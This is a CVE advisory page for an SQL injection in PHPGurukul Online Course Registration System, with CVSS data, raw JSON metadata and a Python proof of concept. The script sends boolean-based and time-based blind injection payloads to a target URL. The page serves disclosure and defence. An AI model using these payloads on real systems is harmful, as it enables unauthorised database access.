Security Vulnerability Report
中文
CVE-2026-0733 CVSS 6.3 MEDIUM

CVE-2026-0733

Published: 2026-01-09 00:15:45
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was determined in PHPGurukul Online Course Registration System up to 3.1. This impacts an unknown function of the file /onlinecourse/admin/manage-students.php. This manipulation of the argument id/cid causes sql injection. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:online_course_registration_system:*:*:*:*:*:*:*:* - VULNERABLE
PHPGurukul Online Course Registration System <= 3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-0733 SQL Injection PoC # Target: PHPGurukul Online Course Registration System <= 3.1 # Endpoint: /onlinecourse/admin/manage-students.php def exploit_sqli(target_url, param='id'): """ SQL Injection exploitation using boolean-based blind technique """ # Test payload for boolean-based blind SQL injection true_payload = f"{param}=1' AND 1=1 -- -" false_payload = f"{param}=1' AND 1=2 -- -" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Cookie': 'PHPSESSID=your_admin_session_here' # Requires low-priv auth } print(f"[*] Testing SQL Injection on {target_url}") print(f"[*] Parameter: {param}") try: # Test TRUE condition resp_true = requests.get( f"{target_url}/onlinecourse/admin/manage-students.php?{true_payload}", headers=headers, timeout=10 ) # Test FALSE condition resp_false = requests.get( f"{target_url}/onlinecourse/admin/manage-students.php?{false_payload}", headers=headers, timeout=10 ) # Compare responses to confirm vulnerability if resp_true.status_code != resp_false.status_code or \ len(resp_true.content) != len(resp_false.content): print("[+] SQL Injection Confirmed!") print(f"[+] TRUE response length: {len(resp_true.content)}") print(f"[+] FALSE response length: {len(resp_false.content)}") return True else: print("[-] SQL Injection not detected") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def extract_data(target_url): """ Data extraction using time-based blind SQL injection """ # Database version extraction payload version_payload = "id=1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) -- -" headers = { 'User-Agent': 'Mozilla/5.0', 'Cookie': 'PHPSESSID=your_admin_session_here' } print("[*] Extracting database version...") try: import time start = time.time() resp = requests.get( f"{target_url}/onlinecourse/admin/manage-students.php?{version_payload}", headers=headers, timeout=15 ) elapsed = time.time() - start if elapsed >= 5: print("[+] Time-based blind SQL injection works!") print(f"[+] Response time: {elapsed}s") return True except requests.exceptions.Timeout: print("[+] Time-based blind SQL injection confirmed!") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target, 'id') extract_data(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0733", "sourceIdentifier": "[email protected]", "published": "2026-01-09T00:15:45.497", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in PHPGurukul Online Course Registration System up to 3.1. This impacts an unknown function of the file /onlinecourse/admin/manage-students.php. This manipulation of the argument id/cid causes sql injection. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en el Sistema de Registro de Cursos en Línea PHPGurukul hasta 3.1. Esto afecta una función desconocida del archivo /onlinecourse/admin/manage-students.PHP. Esta manipulación del argumento id/cid causa inyección SQL. Es posible iniciar el ataque remotamente. El exploit ha sido divulgado públicamente y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:online_course_registration_system:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.1", "matchCriteriaId": "F04EF455-CD58-45B8-A85D-B9A76A121924"}]}]}], "references": [{"url": "https://note-hxlab.wetolink.com/share/Tma34bofeB2L", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://note-hxlab.wetolink.com/share/cU33RBoPPAF0", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://vuldb.com/?ctiid.340130", "source": "[email protected]", "tags": ["Pe ... (truncated)